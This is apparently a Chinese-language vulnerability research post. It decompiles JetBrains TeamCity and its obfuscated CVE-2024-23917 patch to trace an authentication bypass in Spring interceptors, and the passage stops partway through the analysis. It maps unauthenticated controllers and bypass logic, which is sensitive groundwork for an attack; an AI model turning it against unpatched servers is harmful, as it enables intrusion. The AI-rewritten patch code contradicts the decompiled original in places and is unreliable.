介绍
JetBrains TeamCity 是 JetBrains 开发的持续集成 (CI) 和持续交付 (CD) 工具。它旨在自动化软件开发中的构建、测试和部署流程。
注意:本文仅用于教育目的,以了解漏洞在现实世界中是如何出现的。
安装 TeamCity
从Jetbrains TeamCity官方网站下载2023.11.2版本并解压。为了本文的目的,我将使用 Intellij IDEA 社区版浏览代码库。
反编译 Jar
浏览 teamcity 目录,我们可以看到很多已编译的 Jar。为了访问代码,我们可以使用常见的反编译器之一反编译这些 jar。由于我们使用的是 Intellij IDEA,因此我们可以使用内置反编译器来反编译 jar。
这里的一个问题是需要反编译的 jar 文件太多了。为了简化此过程,我们编写了一个快速 bash 脚本,该脚本使用默认的 IntelliJ 反编译器将所有 jar 文件提取到名为 的中央文件夹中fern
。
#!/bin/bash
#
# Extract source code from jar files
# Can leverage fern from intelij or jadx
# Usage:
# ./sourcerer.sh <DIR1> <DIR2> <DIR3> ...
DECOMPILER="fern"
PROCESSES=10 # 0 for unlimited
FERN_JAR="/Applications/IntelliJ IDEA CE.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar"
for dir in "$@"; do
workdir="$dir/$DECOMPILER"
mkdir -p "$workdir"
echo "Processing $dir"
case $DECOMPILER in
"fern")
mkdir "$workdir/fern-jars"
find "$dir" -type f -print0 -name "*.jar" | xargs -0 -I {} -P "$PROCESSES" java -jar "$FERN_JAR" {} "$workdir/fern-jars"
find "$workdir/fern-jars" -name "*.jar" -exec unzip -o {} -d "$workdir" ;
rm -rf "$workdir/fern-jars"
;;
"jadx")
find "$dir" -type f -print0 -name "*.jar" | xargs -0 -I {} -P "$PROCESSES" jadx -d "$workdir" {} --comments-level none
;;
esac
done
将文件另存为sourcerer.sh
并运行脚本,提供提取的 teamcity 目录作为输入。脚本将重复开始提取其中的所有 jar。
注意:由于 jar 太多,脚本需要一段时间才能完成。您可以修改PROCESSES
变量以加快脚本运行速度。
a0xnirudh@X1 ~/teamcity $ chmod +x sourcerer.sh
a0xnirudh@X1 ~/teamcity $ ./sourcerer.sh TeamCity
提取完成后,fern
TeamCity 项目文件夹中将出现一个名为 的新目录。从 intellij 中,右键单击此文件夹 > 将目录标记为 > 源根目录。这一步很重要,如果没有它,我们将无法进行动态分析或搜索类等……
Architecture
通过探索目录结构,尤其是在 webapps/ROOT
目录内,我们可以看到 WEB-INF
目录中的 web.xml
文件。此文件包含 Servlet、映射和过滤器。
Servlet Filters Servlet
通常,Servlet 映射用于定义到相应控制器的 API 端点。让我们了解一下文件及其映射的工作原理:
File: teamcity/TeamCity/webapps/ROOT/WEB-INF/web.xml
17: <servlet>
18: <description>Support maintenance screens when TeamCity server is starting up.</description>
19: <servlet-name>MaintenanceServlet</servlet-name>
20: <servlet-class>jetbrains.buildServer.maintenance.StartupServlet</servlet-class>
21: </servlet>
该文件开始创建具有名称的 servlet,在上面的示例中,该示例 MaintenanceServlet
在类 jetbrains.buildServer.maintenance.StartupServlet
中定义。让我们看一下它的 servlet 映射:
126: <servlet-mapping>
127: <servlet-name>MaintenanceServlet</servlet-name>
128: <url-pattern>/mnt/*</url-pattern>
129: </servlet-mapping>
Servlet 映射指定 Servlet 名称和 URL 模式。这意味着,如果请求到达定义的 URL 模式,在本例中为 /mnt/*
,则将调用 MaintenanceServlet
servlet,从而进一步导致控制器 jetbrains.buildServer.maintenance.StartupServlet
类的调用。
File: teamcity/TeamCity/webapps/ROOT/WEB-INF/web.xml
70: <filter>
71: <filter-name>disableBrowserCacheFilter</filter-name>
72: <filter-class>jetbrains.buildServer.web.DisableBrowserCacheFilter</filter-class>
73: <async-supported>true</async-supported>
74: </filter>
定义了一个名为 的过滤器disableBrowserCacheFilter
,由 类 处理jetbrains.buildServer.web.DisableBrowserCacheFilter
。现在让我们看看它的过滤器映射:
308: <filter-mapping>
309: <filter-name>disableBrowserCacheFilter</filter-name>
310: <url-pattern>/update/*</url-pattern>
311: </filter-mapping>
过滤器映射指定针对给定的 URL 模式运行哪些过滤器。此处,对于任何匹配的 URL /update/*
,disableBrowserCacheFilter
都将运行在类中定义的过滤器jetbrains.buildServer.web.DisableSessionIdFromUrlFilter
。
现在,如果我们查看 的 servlet 映射/update/*
,它指向buildServer
servlet。
156: <servlet-mapping>
157: <servlet-name>buildServer</servlet-name>
158: <url-pattern>/update/*</url-pattern>
159: </servlet-mapping>
简而言之,如果有任何请求到达/update/*
端点,过滤器将首先被触发,然后将请求转发到 Servlet(或控制器类)。
同样,我们可以看到另一件事是错误映射:
48: <error-page>
49: <error-code>401</error-code>
50: <location>/unauthorized.html</location>
51: </error-page>
因此对于给定的请求,如果控制器返回响应代码 401,那么就会/unauthorized.html呈现。
Spring 拦截器
现在过滤器是原生 Java Servlet 提供的功能,但如果我们想要实现相同的功能,但在做出决定之前需要更多上下文,该怎么办?例如,我们想设置一个检查身份验证的过滤器,但由于身份验证部分由 SprintBoot 处理,servlet 过滤器将没有上下文,因为它在较低级别运行,如下图所示:
为了实现类似的功能,Springboot 有一个拦截器的概念,它是 Spring MVC 核心框架的一部分,它允许我们在 HTTP 请求和响应由控制器处理或发送回客户端之前拦截和处理它们。它通常用于请求转换、日志记录(调试或性能日志)或安全性(AuthN 或 AuthZ)。
过滤器在功能上与拦截器类似(可用于拦截请求和响应),但它在 Servlet API 级别运行(而不是特定于 Spring 框架,因为 Spring 框架本身是建立在 Servlet API 之上的)。这意味着过滤器在请求到达 Springboot 之前就已执行。因此,一般来说,我们可以结合使用两者(就像 TeamCity 所做的那样),但拦截器通常在我们需要访问 Spring 应用程序上下文时使用。例如,虽然日志记录、缓存可以在过滤器级别完成,但 AuthN/AuthZ 通常在拦截器级别完成(因为它需要 Spring 上下文)
那么所有这些是如何协同工作的呢?下图表示流程(图片来源):
-
传入的 HTTP 请求首先由 Web 服务器(在本例中为 tomcat)接收,然后 Web 服务器将该请求传递给 Java Servlet。
-
根据路由映射,运行 servlet 过滤器,然后将请求转发到 Springboot。这
Dispatcher Servlet
是所有传入请求进入 springboot 的默认入口点。 -
一旦
Dispatcher Servlet
收到请求,它会查阅 URLHandlerMapping
来确定应该将请求传递给哪个控制器。 -
但在被控制器处理之前,请求会经过 Spring 拦截器。给定的请求在到达控制器之前可以由不同数量的拦截器处理。
拦截器是实现handlerInterceptor
接口的类,该接口具有 3 种方法:
preHandle()
:返回一个布尔值,指示请求是否应继续到下一个拦截器/控制器(例如:如果 AuthZ 失败,则返回 false 并且请求将不会到达控制器)
postHandle()
:在调用控制器方法之后但在将响应发送到客户端(修改响应头?)之前执行。
afterCompletion()
:响应发送到客户端后执行(任何清理任务)。
对于给定的 API 端点,可能会触发多个拦截器,在这种情况下,流程按照下图所示工作(图片来源):
现在探索漏洞的基础已经清楚了,让我们来探索已发布的安全补丁。
了解补丁(CVE-2024-23917)
根据官方通告,修复该漏洞的方法之一是应用安全补丁。让我们下载补丁并尝试更好地了解它。
a0xnirudh@X1 ~/teamcity/cve-2024-23917 $ wget -c https://download.jetbrains.com/teamcity/plugins/internal/fix_CVE_2024_23917.zip
a0xnirudh@X1 ~/teamcity/cve-2024-23917 $ unzip fix_CVE_2024_23917.zip
Archive: fix_CVE_2024_23917.zip
creating: server/
inflating: server/patch-common-1.0-SNAPSHOT.jar
inflating: server/security-patch-plugin-1.0-SNAPSHOT.jar
inflating: teamcity-plugin.xml
反编译并尝试读取 jar 的源代码,我们可以看到补丁被严重混淆了。让我们尝试对补丁进行反混淆,然后再次反编译(使用 cfr)以查看代码是否更具可读性:
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config1.yml
input: patch-common-1.0-SNAPSHOT.jar
detect: true
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config1.yml
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Detecting known obfuscators
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - RuleSuspiciousClinit: Zelix Klassmaster typically embeds decryption code in <clinit>. This sample may have been obfuscated with Zelix Klassmaster
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Found suspicious <clinit> in 0/0/0/0
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Recommend transformers:
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - (Choose one transformer. If there are multiple, it's recommended to try the transformer listed first)
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - None
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - RuleSimpleStringEncryption: Zelix Klassmaster has several modes of string encryption. This mode replaces string literals with a static string or string array, which are decrypted in <clinit> Note that this mode does not generate a method with signature (II)Ljava/lang/String;
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Found suspicious <clinit> in 0/0/0/0
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Recommend transformers:
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - (Choose one transformer. If there are multiple, it's recommended to try the transformer listed first)
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - com.javadeobfuscator.deobfuscator.transformers.zelix.string.SimpleStringEncryptionTransformer
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - All detectors have been run. If you do not see anything listed, check if your file only contains name obfuscation.
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Do note that some obfuscators do not have detectors.
使用反混淆器检测技术,它建议我们使用com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
。让我们对jar进行反混淆,并尝试使用cfr反编译器对其进行反编译。
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config1.yml
input: patch-common-1.0-SNAPSHOT.jar
output: patch_common_deobfuscated.jar
transformers:
- com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config2.yml
input: security-patch-plugin-1.0-SNAPSHOT.jar
output: security_patch_deobfuscated.jar
transformers:
- com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config1.yml
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Computing callers
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Transforming
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Running com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
[Zelix] [StringEncryptionTransformer] Starting
[Zelix] [StringEncryptionTransformer] Decrypted strings from 2 encrypted classes
[Zelix] [StringEncryptionTransformer] Decrypted 51 strings
[Zelix] [StringEncryptionTransformer] Done
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Writing
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config2.yml
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Computing callers
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Transforming
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Running com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
[Zelix] [StringEncryptionTransformer] Starting
[Zelix] [StringEncryptionTransformer] Decrypted strings from 1 encrypted classes
[Zelix] [StringEncryptionTransformer] Decrypted 3 strings
[Zelix] [StringEncryptionTransformer] Done
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Writing
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar cfr-0.152.jar patch_common_deobfuscated.jar --renameillegalidents true --outputdir patch_common_extract
Processing patch_common_deobfuscated.jar (use silent to silence)
Processing 0.0.0.0
Processing 0.0.0.2
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar cfr-0.152.jar security_patch_deobfuscated.jar --renameillegalidents true --outputdir security_patch_extract
Processing security_patch_deobfuscated.jar (use silent to silence)
Processing 0.0.0.1
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ tree patch_common_extract
patch_common_extract
├── 0
│ └── 0
│ └── 0
│ ├── 0.java
│ └── 2.java
└── summary.txt
4 directories, 3 files
a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ tree security_patch_extract
security_patch_extract
├── 0
│ └── 0
│ └── 0
│ └── 1.java
└── summary.txt
4 directories, 2 files
所以我们最终有 3 个文件。让我们看看1.java
从原始security-patch-plugin-1.0-SNAPSHOT.jar
文件中提取的内容:
/*
* Decompiled with CFR 0.152.
*
* Could not load the following classes:
* 0.0.0.0
* jetbrains.buildServer.ServiceLocator
* jetbrains.buildServer.log.Loggers
* jetbrains.buildServer.serverSide.BuildServerListener
* jetbrains.buildServer.serverSide.TeamCityProperties
* jetbrains.buildServer.util.EventDispatcher
* jetbrains.buildServer.version.ServerVersionHolder
* jetbrains.buildServer.web.openapi.PluginDescriptor
* org.jetbrains.annotations.NotNull
*/
package 0.0.0;
import 0.0.0._0;
import jetbrains.buildServer.ServiceLocator;
import jetbrains.buildServer.log.Loggers;
import jetbrains.buildServer.serverSide.BuildServerListener;
import jetbrains.buildServer.serverSide.TeamCityProperties;
import jetbrains.buildServer.util.EventDispatcher;
import jetbrains.buildServer.version.ServerVersionHolder;
import jetbrains.buildServer.web.openapi.PluginDescriptor;
import org.jetbrains.annotations.NotNull;
public class _1 {
public static int cfr_renamed_0;
public static boolean cfr_renamed_1;
public _1(@NotNull ServiceLocator serviceLocator, @NotNull PluginDescriptor pluginDescriptor, @NotNull EventDispatcher<BuildServerListener> eventDispatcher) {
boolean bl = cfr_renamed_1;
int n = Integer.parseInt(ServerVersionHolder.getVersion().getBuildNumber());
int n2 = TeamCityProperties.getInteger((String)"teamcity.CVE-2024-23917.patch.maxAffectedBuildNumber", (int)147486);
if (!bl) {
if (n > n2) {
Loggers.SERVER.warn("The plugin " + pluginDescriptor.getPluginName() + " is no longer required for this TeamCity version");
return;
}
new _0(eventDispatcher, serviceLocator).cfr_renamed_0(true);
}
if (bl) {
int n3 = cfr_renamed_0;
cfr_renamed_0 = ++n3;
}
}
}
这是一个可读性更强的代码,但仍然可以稍微清理一下。使用 ChatGPT(+一些手动更改)重写代码以使其更具可读性后,代码如下所示:
package 0.0.0;
import jetbrains.buildServer.ServiceLocator;
import jetbrains.buildServer.log.Loggers;
import jetbrains.buildServer.serverSide.BuildServerListener;
import jetbrains.buildServer.util.EventDispatcher;
import jetbrains.buildServer.version.ServerVersionHolder;
import jetbrains.buildServer.web.openapi.PluginDescriptor;
import org.jetbrains.annotations.NotNull;
public class SecurityPluginInitializer {
private static int counter = 0;
private static boolean isEnabled = false;
public SecurityPluginInitializer(@NotNull ServiceLocator serviceLocator, @NotNull PluginDescriptor pluginDescriptor, @NotNull EventDispatcher<BuildServerListener> eventDispatcher) {
if (isEnabled) {
int buildNumber = Integer.parseInt(ServerVersionHolder.getVersion().getBuildNumber());
int maxAffectedBuildNumber = TeamCityProperties.getInteger("teamcity.CVE-2024-23917.patch.maxAffectedBuildNumber", 147486);
if (buildNumber > maxAffectedBuildNumber) {
Loggers.SERVER.warn("The plugin " + pluginDescriptor.getPluginName() + " is no longer required for this TeamCity version");
return;
}
new SecurityInterceptor(eventDispatcher, serviceLocator).initializeSecurity(true);
} else {
counter++;
}
}
}
代码读取,currentBuildNumber
如果当前版本号小于最大受影响版本号(147486
),则继续安装,否则跳过。为了继续安装,它会触发new SecurityInterceptor(eventDispatcher, serviceLocator).initializeSecurity(true);
来自我们提取的0.java
文件的代码。
现在,我们先看2.java
一下这个文件:
package com.example.buildserver;
import java.util.List;
import com.example.security.SecurityHandler;
import jetbrains.buildServer.log.Loggers;
import jetbrains.buildServer.serverSide.BuildServerAdapter;
class SecurityPatch extends BuildServerAdapter {
private final boolean isSecurityPatchEnabled;
private final SecurityHandler securityHandler;
public static boolean isDebugModeEnabled;
SecurityPatch(SecurityHandler handler, boolean isEnabled) {
this.securityHandler = handler;
this.isSecurityPatchEnabled = isEnabled;
}
@Override
public void serverStartup() {
boolean isDebug = isDebugModeEnabled;
try {
Class<?> urlMappingClass = Class.forName("jetbrains.spring.web.UrlMapping");
Object urlMappingService = securityHandler.findSingletonService(urlMappingClass);
Class<?> authInterceptorClass = Class.forName("jetbrains.buildServer.controllers.interceptors.AuthorizationInterceptorImpl");
Object authInterceptorService = securityHandler.findSingletonService(authInterceptorClass);
Class<?> superClass = urlMappingClass.getSuperclass();
Field adaptedInterceptorsField = findField(superClass, "adaptedInterceptors");
if (adaptedInterceptorsField == null) {
throw new IllegalStateException("Required field 'adaptedInterceptors' not found in " + urlMappingClass.getName());
}
adaptedInterceptorsField.setAccessible(true);
List<Object> adaptedInterceptors = (List<Object>) adaptedInterceptorsField.get(urlMappingService);
adaptedInterceptors.add(securityHandler.createProxy(authInterceptorService));
if (isSecurityPatchEnabled) {
Loggers.SERVER.warn("Security patch for CVE-2024-23917 has been activated");
} else {
Loggers.SERVER.debug("Security patch for CVE-2024-23917 has been activated");
}
} catch (Throwable ex) {
Loggers.SERVER.warn("Could not activate security patch for CVE-2024-23917. Error: " + ex.toString());
Loggers.SERVER.debug("Error activating security patch for CVE-2024-23917: " + ex.toString(), ex);
}
}
private Field findField(Class<?> clazz, String fieldName) {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
-
代码首先
UrlMapping
从内部访问类jetbrains.spring.web.UrlMapping
,然后进一步尝试访问其超类。通过代码库搜索,我们可以看到 的超类UrlMapping
是TeamCitySimpleUrlHandlerMapping
。 -
的超类
TeamCitySimpleUrlHandlerMapping
是AbstractHandlerMapping
。然后代码进一步尝试adaptedInterceptors
从超类(在我们的例子中是 )中获取字段TeamCitySimpleUrlHandlerMapping
。 -
查看代码库,我们看不到名为
adaptedInterceptors
defined 的字段TeamCitySimpleUrlHandlerMapping
,但不知何故补丁正在尝试获取它。查看函数findField
,我们可以看到它findField
尝试在提供的类上查找字段,如果未找到,它还会搜索其超类。所以本质上我们是adaptedInterceptors
从UrlMapping
->TeamCitySimpleUrlHandlerMapping
->获取的AbstractHandlerMapping
! -
在 Spring MVC 中,通常通过反射来访问或修改集合
adaptedInterceptors
,如上面的代码片段所示。这种方法允许动态更改请求处理管道,而无需修改核心配置或重新启动服务器。这对于在运行时应用安全补丁、引入自定义拦截器或集成第三方拦截器非常有用。 -
最后,他们将一个添加
new Interceptor
到列表中adaptedInterceptors
,这意味着最像这样的新添加的拦截器将确保防止身份验证绕过漏洞。
现在让我们最后看一下写入自定义新拦截器的所有逻辑的最终文件:
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.EventListener;
import java.util.HashSet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import jetbrains.buildServer.log.Loggers;
import jetbrains.buildServer.serverSide.TeamCityProperties;
import jetbrains.buildServer.util.EventDispatcher;
import jetbrains.buildServer.web.util.WebUtil;
import org.jetbrains.annotations.NotNull;
public class SecurityInterceptor {
private final EventDispatcher<BuildServerListener> eventDispatcher;
private final ServiceLocator serviceLocator;
private static boolean securityPatchActivated;
public SecurityInterceptor(@NotNull EventDispatcher<BuildServerListener> eventDispatcher, @NotNull ServiceLocator serviceLocator) {
boolean previousActivation = securityPatchActivated;
this.eventDispatcher = eventDispatcher;
this.serviceLocator = serviceLocator;
if (securityPatchActivated) {
securityPatchActivated = !previousActivation;
}
}
public void activateSecurityPatch(boolean activated) {
this.eventDispatcher.addListener((EventListener)((Object)new SecurityPatchActivator(this, activated)));
}
private Object createHandlerInterceptorProxy(Object handler) throws ClassNotFoundException {
Class<?> clazz = Class.forName("org.springframework.web.servlet.HandlerInterceptor"); // handler here is AuthorizationInterceptorImpl
return Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{clazz}, (Object proxyObj, Method method, Object[] methodArgs) -> this.intercept_wrap(handler,proxyObj, method, methodArgs));
}
private boolean intercept(HttpServletRequest request, HttpServletResponse response, Object handler, Object handlerInterceptor) {
// this is called from AuthorizationInterceptorImpl.prehandle func is called
// handlerInterceptor is AuthorizationInterceptorImpl
// handler is controller being called
/**
* if (!interceptor.preHandle(request, response, this.handler)) {
this.triggerAfterCompletion(request, response, (Exception)null);
return false;
}
this is where its called
interceptor.prehandle will call this
- intercept fnc where
*/
boolean isSecurityPatchEnabled = TeamCityProperties.getBooleanOrTrue("teamcity.CVE-2024-23917.patch.enabled");
if (isSecurityPatchEnabled == false) {
return true;
}
Object includeRequestUri = request.getAttribute("javax.servlet.include.request_uri");
if (includeRequestUri != null || request.getAttribute("javax.servlet.forward.request_uri") != null) {
return true;
}
String path = WebUtil.getPathWithoutContext(request); // removes ;<--anything after-->
boolean isAgentEndpoint = path.startsWith("/app/agents/") || path.startsWith("/update/");
if (isAgentEndpoint) {
return true; // donot run this patch
}
HashSet<String> securedEndpoints = new HashSet<>();
securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginController");
securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginSubmitController");
securedEndpoints.add("jetbrains.buildServer.controllers.login.LoginIconsController");
securedEndpoints.add("jetbrains.buildServer.controllers.user.RegisterUserController");
securedEndpoints.add("jetbrains.buildServer.controllers.user.SubmitRegisterUserController");
securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SetupAdminController");
securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SubmitSetupAdminController");
securedEndpoints.add("jetbrains.buildServer.controllers.admin.users.SubmitCreateAdminController");
securedEndpoints.add("jetbrains.buildServer.controllers.status.ExternalStatusController");
securedEndpoints.add("jetbrains.buildServer.controllers.license.ShowAgreementController");
securedEndpoints.add("jetbrains.buildServer.web.RuntimeErrorController");
securedEndpoints.add("jetbrains.buildServer.web.RuntimeErrorTestController");
securedEndpoints.add("jetbrains.buildServer.controllers.agentServer.AgentPollingProtocolController");
securedEndpoints.add("jetbrains.buildServer.controllers.agentServer.AgentProtocolsController");
securedEndpoints.add("jetbrains.buildServer.controllers.XmlRpcController");
securedEndpoints.add("jetbrains.buildServer.web.plugins.agent.BuildAgentUpdateInfoControllerNew");
securedEndpoints.add("jetbrains.buildServer.serverSide.oauth.space.SpaceEndpointController");
securedEndpoints.add("jetbrains.buildServer.resetPassword.ForgotPasswordController");
securedEndpoints.add("jetbrains.buildServer.resetPassword.ResetPasswordController");
securedEndpoints.add("jetbrains.buildServer.controllers.BadRequestController");
securedEndpoints.add("jetbrains.buildServer.controllers.PageNotFoundController");
securedEndpoints.add("jetbrains.buildServer.controllers.agent.AgentParametersController");
securedEndpoints.add("jetbrains.buildServer.controllers.agent.UploadOnServerController");
securedEndpoints.add("jetbrains.buildServer.controllers.proxyHealthCheck.PreferredNodeHealthStatusController");
securedEndpoints.add("jetbrains.buildServer.win32.web.LoginCheckController");
securedEndpoints.add("jetbrains.buildServer.win32.web.LoginController");
securedEndpoints.add("jetbrains.buildServer.controllers.PageResourceCompressorImpl");
securedEndpoints.add("jetbrains.spring.web.JspController");
//issue
// here they are checking, instead of (.jsp + jsp_precompile) to know which request to skip, we have list of all controllers to skip
// , check if these request belong to these class's, if yes, we can let them go, else in anyother case, check auth
if (securedEndpoints.contains(handler.getClass().getName())) {
return true; // donot run the patch
}
Boolean isAuthenticationRequired = checkAuthenticationRequirement(handlerInterceptor, path); // calls the real fn to check auth is needed fnc's
if (Boolean.FALSE.equals(isAuthenticationRequired)) {
response.setStatus(403);
try {
response.getWriter().write("Access denied");
Loggers.SERVER.warn("Replying with 403 status for the unauthorized request: " + WebUtil.getRequestDump(request));
return false;
} catch (IOException e) {
// Log the exception if necessary
}
}
return false;
}
private static boolean checkAuthenticationRequirement(Object handler, String path) {
/**
* in short this is whats happening
* AuthorizationInterceptorImpl.myAuthorizationPaths.isAuthenticationRequired(path)
*
*/
Object authorizationPaths;
try {
Field authorizationPathsField = handler.getClass().getDeclaredField("myAuthorizationPaths");
authorizationPathsField.setAccessible(true);
authorizationPaths = authorizationPathsField.get(handler);
} catch (NoSuchFieldException | IllegalAccessException e) {
try {
Method isAuthenticationRequiredMethod = handler.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);
isAuthenticationRequiredMethod.setAccessible(true);
return (Boolean) isAuthenticationRequiredMethod.invoke(handler, path); //
} catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException ex) {
return true;
}
}
try {
Method isAuthenticationRequiredMethod = authorizationPaths.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);
return (Boolean) isAuthenticationRequiredMethod.invoke(authorizationPaths, path);
} catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
return true;
}
}
private boolean isAuthenticationPresent() {
try {
Method getContextMethod = SecurityContextHolder.class.getMethod("getContext");
Object securityContext = getContextMethod.invoke(null);
Method getAuthenticationMethod = securityContext.getClass().getMethod("getAuthentication");
return getAuthenticationMethod.invoke(securityContext) != null;
} catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
return true;
}
}
private static Class<?> getSecurityContextHolderClass() throws ClassNotFoundException {
return Class.forName("org.springframework.security.core.context.SecurityContextHolder");
}
private Object intercept_wrap(Object handler, Object handlerInterceptor, Method method, Object[] args) throws Throwable {
boolean isPreHandleMethod = method.getName().equals("preHandle");
if (isPreHandleMethod) {
return interceptPreHandle((HttpServletRequest) args[0], (HttpServletResponse) args[1], args[2], handler);
}
return null;
}
private boolean interceptPreHandle(HttpServletRequest request, HttpServletResponse response, Object handler, Object handlerInterceptor) {
return intercept(request, response, handler, handlerInterceptor);
}
static ServiceLocator getServiceLocator(SecurityInterceptor interceptor) {
return interceptor.serviceLocator;
}
static Object createHandlerInterceptorProxy(SecurityInterceptor interceptor, Object handler) throws ClassNotFoundException {
return interceptor.createHandlerInterceptorProxy(handler);
}
}
-
我们首先创建一个名为 SecurityInterceptor 的类(我们在清理过程中给出的自定义名称),其中定义了很多方法。最有趣的方法之一是
intercept
,从表面上看,它处理修复漏洞的所有主要逻辑。 -
该函数首先检查属性是否
teamcity.CVE-2024-23917.patch.enabled
设置为true
。如果为 false,则函数立即返回。 -
在 servlet 环境中,请求可以被“包含”或“转发”,这通常发生在一个 servlet 将请求/响应转发或包含到另一个 servlet 或从另一个 servlet 转发或包含到另一个 servlet 的请求/响应作为请求处理过程的一部分时。
该
if (includeRequestUri != null || request.getAttribute("javax.servlet.forward.request_uri") != null)
块检查是否存在include或forward属性。如果存在,则意味着该请求是包含的请求或转发的请求,并且代码返回true,这意味着拦截器不需要运行。 -
然后检查给定请求的路径,如果它以
/app/agents/
或开头/update
,则代码立即返回。 -
补丁中有一组列入白名单的控制器,这些控制器上无需运行此拦截器。从控制器的名称(例如
LoginController
或ForgotPasswordController
)我们可以假设这些控制器处理预认证端点,这意味着无需运行拦截器。 -
最后,拦截函数调用
checkAuthenticationRequirement
,我们来看看它做了什么。从代码流程来看,这似乎是逻辑所在的核心函数。
private static boolean checkAuthenticationRequirement(Object handler, String path) {
/**
* in short this is whats happening
* AuthorizationInterceptorImpl.myAuthorizationPaths.isAuthenticationRequired(path)
*
*/
Object authorizationPaths;
try {
Field authorizationPathsField = handler.getClass().getDeclaredField("myAuthorizationPaths");
authorizationPathsField.setAccessible(true);
authorizationPaths = authorizationPathsField.get(handler);
} catch (NoSuchFieldException | IllegalAccessException e) {
try {
Method isAuthenticationRequiredMethod = handler.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);
isAuthenticationRequiredMethod.setAccessible(true);
return (Boolean) isAuthenticationRequiredMethod.invoke(handler, path); //
} catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException ex) {
return true;
}
}
try {
Method isAuthenticationRequiredMethod = authorizationPaths.getClass().getDeclaredMethod("isAuthenticationRequired", String.class);
return (Boolean) isAuthenticationRequiredMethod.invoke(authorizationPaths, path);
} catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
return true;
}
}
-
该函数首先从包含路径列表的类 myAuthorizationPaths
中读取。AuthorizationInterceptorImpl
-
进一步沿着代码,使用反射,它读取函数 isAuthenticationRequired
并在给定的路径上明确调用该函数。
身份验证绕过
一个合理的解释是,在新添加的拦截器中,有很多“if else”条件明确绕过了身份验证。如果在原始代码中存在明确绕过身份验证检查的情况怎么办?
让我们详细探索一下定义的拦截器以理解这一点。搜索AuthorizationInterceptor
,我们可以看到文件的完整路径:jetbrains/buildServer/controllers/interceptors/AuthorizationInterceptorImpl.java
。似乎所有拦截器都在文件夹内定义jetbrains/buildServer/controllers/interceptors/
通过探索AuthorizationInterceptorImpl.java
,即使拦截器内部有很多逻辑,它也会在其他地方被调用。在同一目录中进一步探索,我们可以看到另一个非常有趣的文件,名为 ,RequestInterceptors.java
其中明确添加和调用了拦截器。我们可以通过在函数上设置断点来确认这一点preHandle
:
让我们preHandle详细探讨一下此功能:
public final boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (!this.requestPreHandlingAllowed(request)) {
return true;
} else {
Stack reqStack = this.requestIn(request);
